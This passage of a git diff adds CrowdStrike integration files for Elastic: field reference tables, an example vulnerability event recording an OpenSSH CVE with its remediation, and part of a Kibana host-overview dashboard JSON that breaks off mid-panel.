crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword | +| crowdstrike.host.platform.id | | keyword | +| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword | +| crowdstrike.host.policies.applied | | boolean | +| crowdstrike.host.policies.applied_date | | date | +| crowdstrike.host.policies.assigned_date | | date | +| crowdstrike.host.policies.policy.id | | keyword | +| crowdstrike.host.policies.policy.type | | keyword | +| crowdstrike.host.policies.rule_groups | | keyword | +| crowdstrike.host.policies.settings_hash | | keyword | +| crowdstrike.host.product_type_desc | | keyword | +| crowdstrike.host.provision_status | | keyword | +| crowdstrike.host.reduced_functionality_mode | | keyword | +| crowdstrike.host.serial_number | | keyword | +| crowdstrike.host.site_name | | keyword | +| crowdstrike.host.status | | keyword | +| crowdstrike.host.system.manufacturer | | keyword | +| crowdstrike.host.system.product_name | | keyword | +| crowdstrike.host.tags | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | +| tags | List of keywords used to tag each event. | keyword | + + +### Vulnerability + +This is the `vulnerability` dataset. + +#### Example + +An example event for `vulnerability` looks as following: + +```json +{ + "@timestamp": "2025-02-25T13:33:23.000Z", + "agent": { + "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a", + "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", + "name": "elastic-agent-98024", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "vulnerability": { + "aid": "897580adb4ab4540a357536faa41de18", + "app": { + "product_name_normalized": "openssh", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "vendor_normalized": "Ubuntu" + }, + "apps": [ + { + "evaluation_logic": { + "aid": "897580adb4ab4540a357536faa41de18", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "complex_check_operator": "AND", + "created_timestamp": "2025-02-20T10:15:30.000Z", + "id": "138bd6a67791327ab367838079b4d786", + "logic": [ + { + "comparison_check": "equals", + "comparisons": { + "state_comparisons": [ + { + "entity_comparisons": [ + { + "actual_value_field": "version", + "operation": "equals", + "value_datatype": "string" + } + ], + "entity_operator": "AND" + } + ], + "state_operator": "OR" + }, + "determined_by_comparison": true, + "existence_check": "Yes", + "id": "logic-12345", + "negate": false, + "status": "active", + "title": "Evaluation Logic for OpenSSH", + "type": "comparison" + } + ], + "updated_timestamp": "2025-02-25T13:33:23.000Z" + }, + "patch_publication_date": "2025-02-19T00:00:00.000Z", + "product_name_normalized": "openssh", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "remediation": { + "ids": [ + "4688299d204b35a192828bdaf556ecf8" + ] + }, + "remediation_info": { + "minimum_id": "df1af7df1d33382398fb0dc268109a4d", + "patch_publication_date": "2025-02-19T00:00:00.000Z", + "recommended_id": "4688299d207b35a192828bdaf556ecf8" + }, + "sub_status": "open", + "vendor_normalized": "Ubuntu" + } + ], + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "closed_timestamp": "2025-02-26T10:00:00.000Z", + "confidence": "confirmed", + "created_timestamp": "2025-02-20T10:10:24.000Z", + "cve": { + "base_score": 6.8, + "cisa_info": { + "due_date": "2025-03-01T00:00:00.000Z", + "is_cisa_kev": false + }, + "cwes": [ + "CWE-123" + ], + "description": "A vulnerability was found in OpenSSH...", + "exploit_status": 30, + "exploitability_score": 1.6, + "exprt_rating": "MEDIUM", + "id": "CVE-2025-26465", + "impact_score": 5.2, + "published_date": "2025-02-18T19:15:00.000Z", + "references": [ + "https://ubuntu.com/security/CVE-2025-26465" + ], + "remediation_level": "O", + "severity": "MEDIUM", + "spotlight_published_date": "2025-02-19T05:32:00.000Z", + "types": [ + "Vulnerability" + ], + "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" + }, + "data_providers": [ + { + "ports": [ + 22, + 80 + ], + "provider": "Falcon sensor", + "rating": "high", + "scan_id": "scan-123456", + "scan_time": "2025-02-20T12:00:00Z", + "scanner_id": "scanner-xyz" + } + ], + "host_info": { + "asset_criticality": "Critical", + "groups": [ + { + "id": "group-123", + "name": "Production" + } + ], + "has_run_container": false, + "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z", + "hostname": "ub24-50-10-154", + "internet_exposure": "No", + "local_ip": "1.128.0.0", + "machine_domain": "example.local", + "managed_by": "Falcon sensor", + "os_version": "Ubuntu 24.04", + "platform": "Linux", + "product_type_desc": "Server", + "service_provider": "AWS", + "service_provider_account_id": "123456789012", + "system_manufacturer": "Dell", + "tags": [ + "production", + "security" + ] + }, + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "remediation": { + "entities": [ + { + "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", + "id": "4688299d207b35a192828bdaf556ecf8", + "link": "https://ubuntu.com/security/CVE-2025-26465", + "recommendation_type": "recommended", + "reference": "1:9.6p1-3ubuntu13.8", + "title": "Update ubuntu openssh", + "vendor_url": "https://www.openssh.com" + } + ], + "ids": [ + "4688299d207b35a192828bdaf556ecf8", + "df1af7df1d33382398fb0dc268109a4d" + ] + }, + "status": "open", + "suppression_info": { + "is_suppressed": false, + "reason": "Not applicable" + }, + "updated_timestamp": "2025-02-25T13:33:23.000Z", + "vulnerability_id": "CVE-2025-26465" + } + }, + "data_stream": { + "dataset": "crowdstrike.vulnerability", + "namespace": "35952", + "type": "logs" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "vulnerability" + ], + "dataset": "crowdstrike.vulnerability", + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "ingested": "2025-08-22T08:33:35Z", + "kind": "event", + "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}", + "type": [ + "info" + ] + }, + "host": { + "id": "897580adb4ab4540a357536faa41de18", + "ip": [ + "1.128.0.0" + ], + "name": "ub24-50-10-154", + "os": { + "name": "Ubuntu 24.04", + "platform": "Linux", + "type": "linux" + } + }, + "input": { + "type": "cel" + }, + "message": "A vulnerability was found in OpenSSH...", + "observer": { + "product": "Falcon sensor", + "type": "sensor", + "vendor": "Crowdstrike" + }, + "package": { + "name": "openssh" + }, + "related": { + "hosts": [ + "ub24-50-10-154" + ], + "ip": [ + "1.128.0.0" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-vulnerability" + ], + "vulnerability": { + "description": "A vulnerability was found in OpenSSH...", + "enumeration": "CVE", + "id": "CVE-2025-26465", + "reference": [ + "https://ubuntu.com/security/CVE-2025-26465" + ], + "report_id": [ + "scan-123456" + ], + "scanner": { + "vendor": "Crowdstrike" + }, + "score": { + "base": 6.8 + }, + "severity": "Medium" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.vulnerability.aid | | keyword | +| crowdstrike.vulnerability.app.product_name_normalized | | keyword | +| crowdstrike.vulnerability.app.product_name_version | | keyword | +| crowdstrike.vulnerability.app.vendor_normalized | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.aid | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.cid | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp | | date | +| crowdstrike.vulnerability.apps.evaluation_logic.data_provider | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.description | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items | | nested | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.status | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.title | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.type | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp | | date | +| crowdstrike.vulnerability.apps.patch_publication_date | | date | +| crowdstrike.vulnerability.apps.product_name_normalized | | keyword | +| crowdstrike.vulnerability.apps.product_name_version | | keyword | +| crowdstrike.vulnerability.apps.remediation.ids | | keyword | +| crowdstrike.vulnerability.apps.remediation_info.minimum_id | | keyword | +| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date | | date | +| crowdstrike.vulnerability.apps.remediation_info.recommended_id | | keyword | +| crowdstrike.vulnerability.apps.sub_status | | keyword | +| crowdstrike.vulnerability.apps.vendor_normalized | | keyword | +| crowdstrike.vulnerability.cid | | keyword | +| crowdstrike.vulnerability.closed_timestamp | | date | +| crowdstrike.vulnerability.confidence | | keyword | +| crowdstrike.vulnerability.created_timestamp | | date | +| crowdstrike.vulnerability.cve.actors | | keyword | +| crowdstrike.vulnerability.cve.base_score | | double | +| crowdstrike.vulnerability.cve.cisa_info.due_date | | date | +| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev | | boolean | +| crowdstrike.vulnerability.cve.cwes | | keyword | +| crowdstrike.vulnerability.cve.description | | keyword | +| crowdstrike.vulnerability.cve.exploit_status | | long | +| crowdstrike.vulnerability.cve.exploitability_score | | double | +| crowdstrike.vulnerability.cve.exprt_rating | | keyword | +| crowdstrike.vulnerability.cve.id | | keyword | +| crowdstrike.vulnerability.cve.impact_score | | double | +| crowdstrike.vulnerability.cve.name | | keyword | +| crowdstrike.vulnerability.cve.published_date | | date | +| crowdstrike.vulnerability.cve.references | | keyword | +| crowdstrike.vulnerability.cve.remediation_level | | keyword | +| crowdstrike.vulnerability.cve.severity | | keyword | +| crowdstrike.vulnerability.cve.spotlight_published_date | | date | +| crowdstrike.vulnerability.cve.types | | keyword | +| crowdstrike.vulnerability.cve.vector | | keyword | +| crowdstrike.vulnerability.cve.vendor_advisory | | keyword | +| crowdstrike.vulnerability.data_providers.ports | | long | +| crowdstrike.vulnerability.data_providers.provider | | keyword | +| crowdstrike.vulnerability.data_providers.rating | | keyword | +| crowdstrike.vulnerability.data_providers.scan_id | | keyword | +| crowdstrike.vulnerability.data_providers.scan_time | | keyword | +| crowdstrike.vulnerability.data_providers.scanner_id | | keyword | +| crowdstrike.vulnerability.host_info.asset_criticality | | keyword | +| crowdstrike.vulnerability.host_info.asset_roles | | keyword | +| crowdstrike.vulnerability.host_info.confidence_label | | keyword | +| crowdstrike.vulnerability.host_info.groups.id | | keyword | +| crowdstrike.vulnerability.host_info.groups.name | | keyword | +| crowdstrike.vulnerability.host_info.has_run_container | | boolean | +| crowdstrike.vulnerability.host_info.host_last_seen_timestamp | | date | +| crowdstrike.vulnerability.host_info.hostname | | keyword | +| crowdstrike.vulnerability.host_info.instance_id | | keyword | +| crowdstrike.vulnerability.host_info.internet_exposure | | keyword | +| crowdstrike.vulnerability.host_info.local_ip | | ip | +| crowdstrike.vulnerability.host_info.machine_domain | | keyword | +| crowdstrike.vulnerability.host_info.managed_by | | keyword | +| crowdstrike.vulnerability.host_info.os_build | | keyword | +| crowdstrike.vulnerability.host_info.os_version | | keyword | +| crowdstrike.vulnerability.host_info.ou | | keyword | +| crowdstrike.vulnerability.host_info.platform | | keyword | +| crowdstrike.vulnerability.host_info.product_type_desc | | keyword | +| crowdstrike.vulnerability.host_info.service_provider | | keyword | +| crowdstrike.vulnerability.host_info.service_provider_account_id | | keyword | +| crowdstrike.vulnerability.host_info.site_name | | keyword | +| crowdstrike.vulnerability.host_info.subsidiaries | | keyword | +| crowdstrike.vulnerability.host_info.system_manufacturer | | keyword | +| crowdstrike.vulnerability.host_info.tags | | keyword | +| crowdstrike.vulnerability.host_info.third_party_asset_ids | | keyword | +| crowdstrike.vulnerability.id | | keyword | +| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id | | keyword | +| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time | | keyword | +| crowdstrike.vulnerability.remediation.entities.action | | keyword | +| crowdstrike.vulnerability.remediation.entities.id | | keyword | +| crowdstrike.vulnerability.remediation.entities.link | | keyword | +| crowdstrike.vulnerability.remediation.entities.patch_publication_date | | date | +| crowdstrike.vulnerability.remediation.entities.recommendation_type | | keyword | +| crowdstrike.vulnerability.remediation.entities.reference | | keyword | +| crowdstrike.vulnerability.remediation.entities.title | | keyword | +| crowdstrike.vulnerability.remediation.entities.vendor_url | | keyword | +| crowdstrike.vulnerability.remediation.ids | | keyword | +| crowdstrike.vulnerability.services.port | | long | +| crowdstrike.vulnerability.services.protocol | | keyword | +| crowdstrike.vulnerability.services.transport | | keyword | +| crowdstrike.vulnerability.status | | keyword | +| crowdstrike.vulnerability.suppression_info.is_suppressed | | boolean | +| crowdstrike.vulnerability.suppression_info.reason | | keyword | +| crowdstrike.vulnerability.updated_timestamp | | date | +| crowdstrike.vulnerability.vulnerability_id | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | + diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json new file mode 100644 index 0000000000..0e73c6db93 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json @@ -0,0 +1,747 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": {}, + "showApplySelections": false + }, + "description": "Overview of the CrowdStrike Host Logs.", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": false, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n**Host**\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different hosts collected from the Crowdstrike Host/Device API.\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 17, + "i": "2676352c-5dfb-46c3-9c78-243d73fd2176", + "w": 14, + "x": 0, + "y": 0 + }, + "panelIndex": "2676352c-5dfb-46c3-9c78-243d73fd2176", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "200a15f3-d229-4812-ab0c-0241c9ca974e": { + "columnOrder": [ + "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a", + "a73f0321-68b2-4319-9d06-3eb2eb117191" + ], + "columns": { + "a73f0321-68b2-4319-9d06-3eb2eb117191": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Host OS Platform", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "a73f0321-68b2-4319-9d06-3eb2eb117191", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "host.os.platform" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.host" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.host" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "200a15f3-d229-4812-ab0c-0241c9ca974e", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "a73f0321-68b2-4319-9d06-3eb2eb117191" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a", + "w": 16, + "x": 14, + "y": 0 + }, + "panelIndex": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a", + "title": "Host over OS Platform [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "4275918f-e9ad-4439-b16c-190021e6a4dd", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "b6c130c0-83a9-4114-a597-1044d0ee891a": { + "columnOrder": [ + "980e0385-d489-4539-b0c8-3926472b30b0", + "d016ebe9-0bc9-4877-b874-045c3c619a6c" + ], + "columns": { + "980e0385-d489-4539-b0c8-3926472b30b0": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Hostname", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d016ebe9-0bc9-4877-b874-045c3c619a6c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.hostname" + }, + "d016ebe9-0bc9-4877-b874-045c3c619a6c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "4275918f-e9ad-4439-b16c-190021e6a4dd", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.host" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.host" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d016ebe9-0bc9-4877-b874-045c3c619a6c" + ], + "layerId": "b6c130c0-83a9-4114-a597-1044d0ee891a", + "layerType": "data", + "position": "top", + "seriesType": "bar_stacked", + "showGridlines": false, + "xAccessor": "980e0385-d489-4539-b0c8-3926472b30b0" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": false + }, + "preferredSeriesType": "bar_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "be658e9b-1f41-424b-a975-ab42befcb77e", + "w": 18, + "x": 30, + "y": 0 + }, + "panelIndex": "be658e9b-1f41-424b-a975-ab42befcb77e", + "title": "Host over Hostname [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "a10dc271-d00d-4766-8ec4-28fe3978afea", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "ae6624d7-cc20-420b-994e-e9da30ce9d7e": { + "columnOrder": [ + "55ced9a5-9461-4aba-a522-92fad79ab843", + "dabab91c-4be8-4356-969c-270e7f21d6ba" + ], + "columns": { + "55ced9a5-9461-4aba-a522-92fad79ab843": { + "customLabel": true, + "dataType": "ip", + "isBucketed": true, + "label": "Host IP", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "dabab91c-4be8-4356-969c-270e7f21d6ba", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.ip" + }, + "dabab91c-4be8-4356-969c-270e7f21d6ba": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + 